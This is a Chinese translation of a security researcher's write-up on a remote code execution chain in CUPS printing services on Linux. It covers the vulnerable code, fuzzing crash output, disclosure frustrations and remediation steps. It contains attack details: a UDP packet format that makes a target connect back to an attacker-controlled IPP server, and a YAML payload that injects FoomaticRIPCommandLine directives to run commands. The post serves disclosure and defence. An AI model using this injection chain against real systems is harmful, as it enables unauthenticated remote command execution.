大家好,这是两篇、也可能是三篇(如果我有时间完成 Windows 研究的话)文章中的第一篇。我们将从使用 RCE 攻击 GNU/Linux 系统开始。正如直接参与 CUPS 项目的某人所说:
从一般的安全角度来看,如今的整个 Linux 系统只是一个无休止的、无可救药的安全漏洞大杂烩,等待被利用。
嗯,他们没错!
虽然这不是我第一次尝试或多或少负责任地报告漏洞,但正如你们中的一些人可能从我的社交活动中注意到的那样,这绝对是最奇怪、最令人沮丧的一次,也是最后一次。稍后会详细介绍这一点,但首先。
概括
CVE-2024-47176 | cups-browsed <= 2.0.1 绑定在 UDP INADDR_ANY:631 上,信任来自任何来源的任何数据包,以触发Get-Printer-Attributes对攻击者控制的 URL 的 IPP 请求。
CVE-2024-47076 | libcupsfilters <= 2.1b1cfGetPrinterAttributes5未验证或清理从 IPP 服务器返回的 IPP 属性,从而向 CUPS 系统的其余部分提供攻击者控制的数据。
CVE-2024-47175 | libppd <= 2.1b1ppdCreatePPDFromIPP2在将 IPP 属性写入临时 PPD 文件时不会验证或清理它们,从而允许在生成的 PPD 中注入攻击者控制的数据。
CVE-2024-47177 | cups-filters <= 2.0.1foomatic-rip允许通过 PPD 参数执行任意命令FoomaticRIPCommandLine。
(您能看出这是怎么回事吗?:D)
另外,还会提到几个其他漏洞,它们可能是安全问题,但在与开发人员和 CERT 的对话中几乎被忽略了。它们仍然存在,还有其他几个或多或少可以被利用的漏洞。
影响
远程未经身份验证的攻击者可以悄悄地用恶意 URL 替换现有打印机的 IPP URL(或安装新的打印机的 IPP URL),从而导致在启动打印作业(从该计算机)时(在该计算机上)执行任意命令。
入口点
-
WAN / 公共互联网:远程攻击者向端口631发送UDP 数据包。无需任何身份验证。
-
LAN:本地攻击者可以欺骗 zeroconf / mDNS / DNS-SD 广告(我们将在下一篇文章中详细讨论这一点)并实现导致 RCE 的相同代码路径。
引用 CUPS 书籍作者的第一条评论之一,他试图向我解释为什么这并没有那么糟糕:
我只是指出,公共互联网攻击仅限于直接连接到互联网的服务器
受影响的系统
CUPS 和 cups-browsed 适用于大多数 UNIX 系统:
-
大多数GNU/Linux 发行版
-
一些BSD。
-
Google Chromium / ChromeOS …也许?
-
Oracle Solaris
-
可能更多吗?
这个东西是为任何东西打包的,在某些情况下它是默认启用的,在其他情况下则不是,去想象吧🤷。坦白说,几周来,我每天都会扫描整个公共互联网 IPv4 范围好几次,发送 UDP 数据包并记录所有连接回来的东西。我得到了来自数十万台设备的连接,峰值有 200-300K 个并发设备。此文件包含受影响的唯一 Linux 系统的列表。请注意,所有非 Linux 的东西都已被过滤掉。这就是为什么我在过去几周里越来越担心。
补救措施
-
cups-browsed如果您不需要该服务(可能您不需要),请禁用并删除该服务。
-
更新系统上的 CUPS 包。
-
如果您的系统无法更新,并且由于某种原因您依赖此服务,请阻止所有到 UDP 端口 631 的流量以及可能的所有 DNS-SD 流量(如果您使用 zeroconf,祝您好运)。
完全是个人建议,要么接受要么放弃:我已经看到并攻击了足够多的代码库,以至于从我的任何系统中删除了所有 CUPS 服务、二进制文件和库,并且再也不会使用 UNIX 系统进行打印。我还删除了每个 zeroconf / avahi / bonjour 监听器。你可以考虑这样做。
简介
几周前的一个懒散的日子,我在一台新笔记本电脑(GPD Pocket 3,顺便说一下,是一款很棒的小型黑客机器)上配置 Ubuntu,出于与本文无关的原因,我想检查哪些服务正在监听 UDP 端口 - 所以我netstat -anu在终端中输入并检查输出后,我注意到一些有趣的事情:
Proto
Recv-Q
Send-Q
Local
Address
Foreign
Address
State
...
udp
0 0 0
.0.0.0
:631
0
.0.0.0
:*
...
这0.0.0.0部分尤其不寻常,这意味着无论哪个进程正在监听端口 631,它都在监听并响应任何网络接口:LAN、WAN、VPN,无论您拥有什么。我还隐约记得CUPS(通用 Unix 打印系统)使用 TCP 端口 631,但这是 UDP。我用 进行了调查lsof -i :631,确认 CUPS 在 631 tcp 上,而这个其他进程cups-browsed(可能与 CUPS 有关)则使用 udp 端口:
cupsd
1868642
root
6u
IPv6
32034095
0t0
TCP
ip6-localhost
:ipp
(LISTEN)
cupsd
1868642
root
8u
IPv4
32034096
0t0
TCP
localhost
:ipp
(LISTEN)
cups-brow
1868652
root
7u
IPv4
32024370
0t0
UDP
*
:631
ps aux | grep “cups-brow” 最终确认此进程以 root 身份运行:
root
1868652
0
.0
0
.0
172692
11196
?
Ssl
13
:20
0
:00
/
usr
/
sbin
/
cups-browsed
什么是cups-browsed?
经过一番谷歌搜索,我发现 cups-browsed 确实是 CUPS 系统的一部分,它负责发现新的打印机并自动将它们添加到系统中。非常有趣,我不知道 Linux 只是在用户接受或收到通知之前添加了在网络上找到的任何内容。你知道的越多!
此时,我非常感兴趣和好奇,所以我开始深入研究这项服务的源代码。虽然一方面它很混乱,但它也是独立的并且相对容易理解。所以我快速搜索 bind API 用法,确认这个东西确实在监听 INADDR_ANY:631 UDP:
...
struct
sockaddr_in
addr
;
memset
(&addr,
0
,
sizeof
(addr));
addr.sin_addr.s_addr = htonl (INADDR_ANY);
addr.sin_family = AF_INET;
addr.sin_port = htons (BrowsePort);
if
(bind (browsesocket, (struct sockaddr *)&addr,
sizeof
(addr)))
{
debug_printf(
"failed to bind CUPS Browsing socket: %sn"
,
strerror (errno));
close (browsesocket);
browsesocket =
-1
;
}
...
很酷,这段代码使用了全局变量,就像没有明天一样,所以搜索 browsesocket会发现 process_browse_data 函数正在从中读取一个数据包,执行一些检查,然后进行一些解析:
got = recvfrom (browsesocket, packet,
sizeof
(packet) -
1
,
0
,
&srcaddr.addr, &srclen);
// ... error checking removed for brevity ...
packet[got] =
'�'
;
httpAddrString (&srcaddr, remote_host,
sizeof
(remote_host) -
1
);
// Check this packet is allowed
if
(!allowed ((
struct
sockaddr *) &srcaddr))
{
debug_printf(
"browse packet from %s disallowedn"
,
remote_host);
return
(
TRUE
);
}
// debug loggig removed for brevity
if
(sscanf (packet,
"%x%x%1023s"
, &type, &state, uri) <
3
)
从本质上讲,此服务需要具有 format HEX_NUMBER HEX_NUMBER TEXT_DATA 的 UDP 数据包,如果允许的函数为特定源 IP 返回 true,则稍后会发生更多操作。
事实证明,虽然您可以通过编辑 /etc/cups/cups-browsed.conf 配置文件来配置谁可以连接,谁不能连接......默认配置文件,在几乎任何系统上,都被完全注释掉,只允许任何人。
稍后在代码中,将执行一些指针操作来解析数据包。如果所有检查都通过,则从数据包中解析的两个文本字段将传递给 found_cups_printer 函数。我们稍后将返回此函数,但现在让我们专注于解析。
# 堆栈缓冲区溢出和争用条件
请记住,虽然 CUPS 包本身被 oss-fuzz 覆盖(老实说......),但 cups-browsed 却没有;此组件似乎没有模糊测试覆盖率。我不知道你是怎么想的,但对我来说,这个解析例程看起来很可疑,绝对值得模糊测试:
end = packet +
sizeof
(packet);
c = strchr (packet,
'"'
);
if
(c >= end)
return
(
TRUE
);
if
(c)
{
// Extract location field
{
int
i;
c++;
for
(i =
0
;
i <
sizeof
(location) -
1
&& *c !=
'"'
&& c < end;
i++, c++)
location[i] = *c;
location[i] =
'�'
;
debug_printf(
"process_browse_data: location: |%s|n"
, location);
// !!
}
for
(; c < end && *c !=
'"'
; c++);
if
(c >= end)
return
(
TRUE
);
if
(*c ==
'"'
)
for
(c++; c < end && isspace(*c); c++);
if
(c >= end)
return
(
TRUE
);
// Is there an info field?
if
(*c ==
'"'
)
{
int
i;
c++;
for
(i =
0
;
i <
sizeof
(info) -
1
&& *c !=
'"'
&& c < end;
i++, c++)
info[i] = *c;
info[i] =
'�'
;
debug_printf(
"process_browse_data: info: |%s|n"
, info);
// !!
}
}
if
(c >= end)
return
(
TRUE
);
所以我很快就在 process_browse_data 周围整理了一个模糊目标,开始我的老朋友 AFL,然后等待。你不会相信接下来会发生什么!!
有 5 个不同的模糊测试输入会触发此情况:
process_browse_data() in THREAD
136077340691200
got=
1135
httpAddrGetString(addr=
0x7bc2f7f
098a0, s=
0x7bc2f7f
09a00, slen=
255
)
1
httpAddrGetString: returning
"UNKNOWN"
...
browse packet received from UNKNOWN
process_browse_data: location: |IIIIIIII???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????@???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????|
=================================================================
==
28780
==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7bc2f7f
09820 at pc
0x58293f
b0926b bp
0x7fff
a0308490 sp
0x7fff
a0308488
READ of size
1
at
0x7bc2f7f
09820 thread T0
#
0
0x58293f
b0926a in process_browse_data(char
const
*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:
264
:
42
#
1
0x58293fb093d
6 in main /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:
292
:
9
#
2
0x7bc2f
a42a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:
58
:
16
#
3
0x7bc2f
a42a28a in __libc_start_main csu/../csu/libc-start.c:
360
:
3
#
4
0x58293f
a293e4 in _start (/home/evilsocket/lab/cups-fuzz/process_browse_data/fuzz-target+
0x2d
3e4) (BuildId: a6df1903658bcb123c38a4a928f80e2a81b617e1)
Address
0x7bc2f7f
09820 is located in stack of thread T0 at offset
2080
in frame
#
0
0x58293f
b08557 in process_browse_data(char
const
*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:
164
This frame has
8
object(s):
[
32
,
2080
)
'packet'
(line
165
) <== Memory access at offset
2080
overflows this variable
[
2208
,
2464
)
'srcaddr'
(line
166
)
[
2528
,
2532
)
'type'
(line
169
)
[
2544
,
2548
)
'state'
(line
170
)
[
2560
,
2816
)
'remote_host'
(line
171
)
[
2880
,
3904
)
'uri'
(line
172
)
[
4032
,
5056
)
'location'
(line
173
)
[
5184
,
6208
)
'info'
(line
174
)
HINT: this may be a
false
positive
if
your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:
264
:
42
in process_browse_data(char
const
*)
Shadow bytes around the buggy address:
0x7bc2f7f
09580:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
0x7bc2f7f
09600:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
0x7bc2f7f
09680:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
0x7bc2f7f
09700:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
0x7bc2f7f
09780:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
=>
0x7bc2f7f
09800:
00
00
00
00
[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x7bc2f7f
09880: f2 f2 f2 f2
00
00
00
00
00
00
00
00
00
00
00
00
0x7bc2f7f
09900:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
0x7bc2f7f
09980:
00
00
00
00
f2 f2 f2 f2 f2 f2 f2 f2
04
f2
04
f2
0x7bc2f7f
09a00:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
0x7bc2f7f
09a80:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
Shadow
byte
legend (one shadow
byte
represents
8
application bytes):
Addressable:
00
Partially addressable:
01
02
03
04
05
06
07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after
return
: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==
28780
==ABORTING
我相信这是由于在两个循环中,在验证退出条件之前取消引用了指针。后来我还发现,这里获得的锁中存在竞争条件,并且可能存在 DoS。
这两个问题都已向开发人员和 CERT 报告并详细记录下来,但似乎没有人在乎。我可以告诉你,还有其他更容易利用的代码路径正在进行,不仅仅是在发现机制中 - 也被报告和忽略。直到今天,它们还没有得到承认或修补。祝您狩猎愉快。
但是,我有点懒惰,最重要的是,在二进制开发方面我是个菜鸟。妈的,我几乎无法判断缓冲区溢出或争用条件是否可利用。硬化机制变得越来越复杂,难以绕过,老实说,我无意在这些东西上花几个月的时间 - 我讨厌打印机。所以,在那一刻,我决定继续做一个似乎唾手可得的果实。
# 返回 found_cups_printer
通过查看 found_cups_printer我们可以看到从数据包解析的两个文本字段中的一个是 URL:
//
// A CUPS printer has been discovered via CUPS Browsing
// or with BrowsePoll
//
static
void
found_cups_printer
(
const
char
*remote_host,
const
char
*uri,
const
char
*location,
const
char
*info)
{
// ... initialization skipped ...
httpSeparateURI(HTTP_URI_CODING_ALL, uri,
scheme,
sizeof
(scheme) -
1
,
username,
sizeof
(username) -
1
,
host,
sizeof
(host) -
1
,
&port,
resource,
sizeof
(resource)-
1
);
// For a remote CUPS printer our local queue will be raw or get a
// PPD file from the remote CUPS server, so that the driver on the
// remote CUPS server gets used. So we will not generate a PPD file
// or interface script at this point.
p->netprinter =
0
;
if
(p->uri[
0
] !=
'�'
)
{
p->prattrs = cfGetPrinterAttributes(p->uri,
NULL
,
0
,
NULL
,
0
,
1
);
debug_log_out(cf_get_printer_attributes_log);
if
(p->prattrs ==
NULL
)
{
debug_printf(
"get-printer-attributes IPP call failed on printer %s (%s).n"
,
p->queue_name, p->uri);
goto
fail;
}
}
要理解这意味着什么,我们需要简要提及 IPP 协议是什么,但现在关键点是:
-
包含任何 URL 的数据包(格式为 0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever )将到达 UDP 端口 631
-
这会触发一系列事件,导致杯子浏览连接到该 URL,这是一种路过式的事情。
所以我对自己说:如果我把这个数据包发送到一个运行 CUPS 的公共 IP(谢谢你 shodan.io),那台计算机就会连接回我指定的服务器。不可能。
我一起破解了一些 python 代码,启动了一个 VPS 并尝试了一下。
天哪!!!!它不仅立即连接回来,而且还在 User-Agent 标头中报告了确切的内核版本和架构!稍后我们将看到此协议如何报告某些请求的请求用户名(在目标上)。此外,这个方面,对我来说与 CWE-200 非常匹配,已经被报道过,只是作为机制的一部分而被嘲笑。好。。。让我们不要浪费时间争论这是否是一个问题,让我们来看看有趣的东西。我们知道这个东西会谈论 HTTP 和 POST 一些半二进制负载,那是什么鬼?
# Internet 打印协议
Internet 打印协议,简称 IPP,是一种专用的通信协议,用于客户端设备(计算机、移动电话、平板电脑等)和打印机(或打印服务器)之间的通信。它允许客户端将一个或多个打印作业提交到网络连接的打印机或打印服务器,并执行查询打印机状态、获取打印作业状态或取消单个打印作业等任务。
从本质上讲,系统现在认为我们是打印机,它正在向我们发送封装在 HTTP 中的 Get-Printer-Attributes 请求,以便获取打印机属性,例如型号、供应商和其他几个属性。这是有道理的,系统发现了一台新打印机,并且以某种方式必须知道它是什么。。。。
我回去编写一些代码,通过使用 ippserver python 包,我现在能够使用我控制的属性正确响应服务请求。我的假打印机立即被添加到本地打印机中,没有通知用户。
能用它做什么?此时,我在服务中启用了调试日志,以便观察发现和添加我的假打印机时发生的情况,并注意到以下几行:
...
Wed Sep 4 13:15:32 2024 127517144909504 Creating permanent CUPS queue God_192_168_50_19.
Wed Sep 4 13:15:32 2024 127517144909504 Loading saved printer options for God_192_168_50_19 from /var/
cache
/cups-browsed/cups-browsed-options-God_192_168_50_19
Wed Sep
4
13
:
15
:
32
2024
127517144909504
Failed
reading
file
/
var
/
cache
/cups-browsed/cups-browsed-options-God_192_168_50_19, probably
no
options recorded yet
Wed Sep
4
13
:
15
:
32
2024
127517144909504
Print queue God_192_168_50_19
is
for
remote CUPS queue(s)
and
we
get
notifications
from
CUPS,
using
implicit
class
device URI implicitclass://God_192_168_50_19/
Wed Sep
4
13
:
15
:
32
2024
127517144909504
PPD generation successful: PDF PPD generated.
Wed Sep
4
13
:
15
:
32
2024
127517144909504
Created
temporary
PPD
file
: /tmp/
00
f9466d902dc
Wed Sep
4
13
:
15
:
32
2024
127517144909504
Using
PPD /tmp/
00
f9466d902dc
for
queue God_192_168_50_19.
Wed Sep
4
13
:
15
:
32
2024
127517144909504
Editing PPD
file
/tmp/
00
f9466d902dc
for
printer God_192_168_50_19, setting the
option
defaults
of
the previous cups-browsed
session
and
doing
client
-side filtering
of
the job, saving the resulting PPD
in
/tmp/
00
f9466d9231e.
Wed Sep
4
13
:
15
:
32
2024
127517144909504
Non-
raw
queue God_192_168_50_19
with
PPD
file
: /tmp/
00
f9466d9231e
...
等等什么?!看起来该服务获取了这些属性,然后创建了某种临时文件,即“PPD”,这些属性可能保存在该文件上。
如果我们搜索日志中出现的 PPD 生成成功字符串,我们会发现自己位于 create_queue 函数中,在该函数中,我们可以看到如何将属性传递给 libppd 中的 ppdCreatePPDFromIPP2 API:
// If we do not want CUPS-generated PPDs or we cannot obtain a
// CUPS-generated PPD, for example if CUPS does not create a
// temporary queue for this printer, we generate a PPD by
// ourselves
printer_ipp_response = (num_cluster_printers ==
1
) ? p->prattrs :
printer_attributes;
if
(!ppdCreatePPDFromIPP2(ppdname, sizeof(ppdname), printer_ipp_response,
make_model,
pdl, color, duplex, conflicts, sizes,
default_pagesize, default_color,
ppdgenerator_msg, sizeof(ppdgenerator_msg)))
{
if
(errno !=
0
)
debug_printf(
"Unable to create PPD file: %sn"
,
strerror(errno));
else
debug_printf(
"Unable to create PPD file: %sn"
,
ppdgenerator_msg);
p->status = STATUS_DISAPPEARED;
current_time = time(
NULL
);
p->timeout = current_time + TIMEOUT_IMMEDIATELY;
goto
end;
}
else
{
debug_printf(
"PPD generation successful: %sn"
, ppdgenerator_msg);
debug_printf(
"Created temporary PPD file: %sn"
, ppdname);
ppdfile = strdup(ppdname);
}
最后,我们来到 libppd,其中 ppdCreatePPDFromIPP2 API 用于将一些攻击者控制的文本属性保存到具有非常具体的面向行的语法的文件中,而无需进行任何清理:
if
((attr = ippFindAttribute(supported,
"printer-make-and-model"
,
IPP_TAG_TEXT)) != NULL)
strlcpy(
make
, ippGetString(attr,
0
, NULL), sizeof(
make
));
else
if
(make_model && make_model[
0
] !=
'�'
)
strlcpy(
make
, make_model, sizeof(
make
));
else
strlcpy(
make
,
"Unknown Printer"
, sizeof(
make
));
if
(!strncasecmp(
make
,
"Hewlett Packard "
,
16
) ||
!strncasecmp(
make
,
"Hewlett-Packard "
,
16
))
{
model =
make
+
16
;
strlcpy(
make
,
"HP"
, sizeof(
make
));
}
else
if
((model = strchr(
make
,
' '
)) != NULL)
*model++ =
'�'
;
else
model =
make
;
cupsFilePrintf(fp,
"*Manufacturer: "%s"n"
,
make
);
// <--- LOL
cupsFilePrintf(fp,
"*ModelName: "%s %s"n"
,
make
, model);
// <--- LOL
cupsFilePrintf(fp,
"*Product: "(%s %s)"n"
,
make
, model);
// <--- LOL
cupsFilePrintf(fp,
"*NickName: "%s %s, %sdriverless, %s"n"
,
make
, model, (is_fax ?
"Fax, "
:
""
), VERSION);
cupsFilePrintf(fp,
"*ShortNickName: "%s %s"n"
,
make
, model);
// <--- LOL
请注意有多少 attribute 被 fprintf 处理、未转义到文件中。印刷厂和型号只是其中之一。那么,现在的 PPD 文件到底是什么呢?
注意:这两个 API 也用于整个 CUPS 系统的其他部分,而不仅仅是发现。IYKWIM.
# PostScript 打印机描述
PostScript 打印机描述 (PPD) 文件由供应商创建,用于描述可用于其 PostScript 打印机的整套特性和功能。
PPD 还包含用于调用打印作业功能的 PostScript 代码(命令)。因此,PPD 通过为打印机的功能和特性提供统一的接口,充当所有 PostScript 打印机的驱动程序。
因此,PPD 文件是供应商提供的文本文件,它以域特定语言描述打印机对 CUPS 的功能,并指示它如何正确使用它。它看起来像这样:
*% =================================
*% Basic Device Capabilities
*% =================================
*LanguageLeve
l:
"2"
*ColorDevice: True
*DefaultColorSpace: CMYK
*TTRasterizer: Type42
*FileSystem: False
*Throughpu
t:
"10"
并且支持大量不同的指令,可用于执行各种操作。我花了几个小时阅读 PPD 规范(感谢 MIT),并研究了 CUPS 特定的扩展,以便找到我可以依赖来执行攻击的东西。然后我发现了 cupsFilter2 指令:
过滤器是 /usr/lib/cups/filter 路径中包含的任何可执行文件(CUPS 会检查这一点,你不能指定任何二进制文件),当打印作业发送到打印机时,它将执行,以便在打印机不支持该特定格式时执行一些文档转换。因此,鉴于我们对可以执行的二进制文件有限制,我们需要找到一种方法来利用现有的过滤器之一来运行任意命令。并且还可以在此处绕过这些检查,它只在冒号前需要一个空格。
# 有问题的孩子:foomatic-rip
另一次搜索很快就揭示了可以被定义为 CUPS 家族的必要之恶,即 foomatic-rip 过滤器。这个可执行文件被利用的历史由来已久,从 2011 年第一个已知的(至少对我来说是这样)的 CVE-2011-2964 和 CVE-2011-2697 开始。过滤器接受了 PPD 中的 FoomaticRIPCommandLine 指令,该指令允许通过它执行 ANY 命令。好!
根据记录,这是修复这些 CVE 的提交。但是,您可能已经注意到这个包是不同的,它被称为 foomatic-filters。当 foomatic-filters 集成到 CUPS 系统中时,此修复未移植到 CUPS,因为可以通过 --ppd 参数进行验证,该参数最初作为修复的一部分删除,并且今天仍然存在于代码中。事实上,我们可以在最近的 CVE-2024-35235 中找到 FoomaticRIPCommandLine 指令被用于任意命令执行的提及。
所以显然 foomatic-rip 是一个已知问题(由 CUPS 开发人员确认),但不知何故它没有得到修复......几十 年?为什么在通常不受信任的上下文中允许任意命令的内容不被视为值得修复的安全问题?我会告诉你为什么!因为它很难解决。根据 CUPS 开发人员的说法:
…很难限制 PPD 文件的 FoomaticRIPCommandLine 行中可以提供的内容。REDACTED 和 OpenPrinting 团队的其他成员一直在讨论在不破坏现有驱动程序的情况下限制通过 Foomatic 可以完成的工作的方法 - 我们当然可以建议人们不要使用 Foomatic,但可能有数百种较旧的打印机型号(2010 年之前)只能通过 Foomatic 支持。
在这数百个模型中,许多模型确实以创造性的方式使用这个指令,例如:
*FoomaticRIPCommandLine: "(printf '�33%%-12345X@PJLn@PJL JOBn@PJL SET COPIES=&copies;n'%G|perl -p -e "s/x26copiesx3b/1/"); (gs -q -dBATCH -dPARANOIDSAFER -dNOPAUSE -dNOINTERPOLATE %B%A%C %D%E | perl -p -e "s/^x1bx25-12345X//" | perl -p -e "s/xc1x01x00xf8x31x44/x44/g"); (printf '@PJLn@PJL EOJn�33%%-12345X')"
我不知道每次打印东西时都会发生这种情况,坦率地说,这非常可怕。他们必须允许 FoomaticRIPCommandLine 接受几乎任何东西(包括你所看到的 perl),否则许多打印机将停止在 UNIX 上工作。
# 远程命令执行链
因此,从理论上讲,我们现在应该能够:
-
强制目标计算机连接回我们的恶意 IPP 服务器。
-
返回一个 IPP 属性字符串,该字符串将受控的 PPD 指令注入到临时文件中。
-
等待打印作业发送到我们的假打印机,以便执行 PPD 指令,从而执行命令。
好吗?这是 IPP 服务器的配置有效负载(这是一个 YAML 文件,您将能够与下一个 bettercap 版本及其新的 zeroconf 和 ipp 模块一起使用):
# ... other configuration removed for brevity ...
# enables the IPP server
ipp:
# this can be the name of an existing device
# in which case its original IPP record will be transparently hijacked
printer-name: EVIL_PRINTER
# where the magic happens, it's important to preserve the new lines
printer-privacy-policy-uri: |
https://www.google.com/
"
*FoomaticRIPCommandLine: "
echo
1 > /tmp/PWNED
"
*cupsFilter2 : "
application/pdf application/vnd.cups-postscript 0 foomatic-rip
您可以看到我们如何返回 printer-privacy-policy-uri 属性字符串(它可以是保存到 PPD 的众多属性中的任何一个),该字符串将:
-
将 printer-privacy-policy-uri 设置为“https://www.google.com/”,用双引号结束 PPD 字符串,然后添加新行。
-
在 PPD 中注入带有我们命令的 *FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED" 行。
-
注入 *cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip 行(注意冒号前后的空格,不要用右双引号)指令来指示 CUPS 在发送打印作业时执行 /usr/lib/cups/filter/foomatic-rip (使用我们的 FoomaticRIPCommandLine)。
在这个视频中,你可以看到我在我的攻击者机器(左侧)上使用这个漏洞的第一个版本来攻击我的新笔记本电脑,一个完全修补的 Ubuntu 24.04.1 LTS,运行杯子浏览的 2.0.1,并(最终!!)实现命令执行:
# 个人考量
您现在可能会想“哇,要读的东西太多了,代码、RFC、被遗忘的标准的 PDF,这项研究一定很累人”,但实际上这是一个值得花上一个周末的时间去钻研的兔子洞,这才是有趣的部分。真正的工作、繁重、无聊的工作开始于 9 月 5 日,在确认我的发现后,我决定在 OpenPrinting cups 浏览的存储库上打开一个安全公告,并做我认为正确的事情:负责任的披露。
我不会详细讲述最初的对话,或随后的对话 。您可以自由选择阅读或不阅读它们(如果它们会打开任何主题,并且您愿意阅读 50 多页的对话),并发表自己的意见。
虽然研究只花了几天时间,但这一部分花了 22 天。而且这一部分并不好玩。我只能说,就我个人经验而言,负责任的披露流程已经崩溃。分类人员对安全研究人员抱有很高的期望,认为他们理所当然,他们表现得好像你必须“证明自己值得倾听”,而实际上他们几乎不关心处理和理解你在说什么,直到三周后才意识到你一直都是对的(如果有的话)。
研究花了两天时间,为了实现完整的漏洞利用,我们写了 249 行文本。
22 天的争论、傲慢、几次煤气灯效应(这些天我读到的东西……你不知道),或多或少微妙的人身攻击,数十封电子邮件和信息,总共超过 100 页的文本。几个小时,几个小时,几个小时,他妈的几个小时。更不用说不知何故被一大群信息安全社区的人评判,他们倾向于谈论和评判他们根本不知道的情况。
让它沉淀一会儿... WTAF。
我们谈论的并不是我在不耐烦地在推特上发脾气时花在修复上的时间。实际的修复(或其中的一部分)是在很晚之后才开始推送的。绝大多数时间都花在了争论这些问题是否值得考虑上。当我试图报告一些不好的事情需要尽快解决时,开发人员却对我不屑一顾(并推送其他同样存在漏洞的代码,用于其他功能而不是修复),因为我敢于批评他们的软件设计。与此同时,我试图私下联系他们,以缓和局势,并向那些被冒犯的人保证,我的意图不是敌对的:
对于那些或多或少直接质疑我的正直、指责我夸大其词并在社交媒体上传播 FUD 的人:我不是为了谋生而这样做的。我不需要 CVE 来找工作或证明我的功夫有多好。或者任何除了我的项目和研究已经提供的关注。我不像许多人那样玩 InfoSec Influencer™。就像Javier 说的那样,我的任务是打断分类人员的注意力,直到他们重新确定优先级。当我看到我认为非常严重的事情被当作烦恼而忽略时,我利用我唯一的平台加上一点戏剧性作为工具让他们重新确定优先级。而且它工作得很出色,两条推文之后修复的问题比争论和交谈之后修复的问题还要多,所以🤷。
不要恨我,要恨那个强迫我这样做以便得到重视的制度。
关于 CVSS 9.9
有人还指责我捏造事实,尤其是因为我在这条推文中声称CVSS 严重性为 9.9 。诚然,正如我在帖子中非常坦率地说的那样,我真的不熟悉 CVSS 分数、它们是如何分配的等等。但这里有一张VINCE 报告中的截图,其中显示了 RedHat 工程师估计的初始 CVSS 分数,包括 9.9(另一位工程师也对其进行了审查):
正如我所说,我不是专家,我认为最初的 9.9 级主要是因为 RCE 很容易被利用,而且该软件包的存在范围非常广泛。从影响角度来看,我不会将其归类为 9.9,但话又说回来,我到底知道什么?
顺便说一句,CERT 的 VINCE 要么有后门,要么有内部泄密,要么对他们添加到披露中的人没有任何审查,因为我只在那里分享的确切 markdown 报告(包括漏洞)已经泄露。
真是一场他*的马戏团。
# 还有一件事
当我最初编写时exploit.py,它只发送 UDP 数据包并创建恶意 IPP 服务器。然后随着时间的推移,我开始为它添加功能,尤其是零配置广告,它变成了一个工具。所以在某个时候,我决定用 Go 重写它并将这个新代码集成到bettercap中,使其能够透明地模拟 LAN 上通过零配置/Bonjour/Avahi 宣传的任何服务,并使用 TXT 记录和特定服务属性(如 IPP)执行有趣的操作。我还发现了其他有趣的东西
在本系列的第二部分中(由于还有另一项披露正在进行中,因此日期待定),我们将看到如何使用这些新的 bettercap 模块(尚未发布)来攻击 Apple macOS。
现在,我希望你喜欢第一部分,破解地球!
https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):通过 CUPS 攻击 UNIX 系统,第一部分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论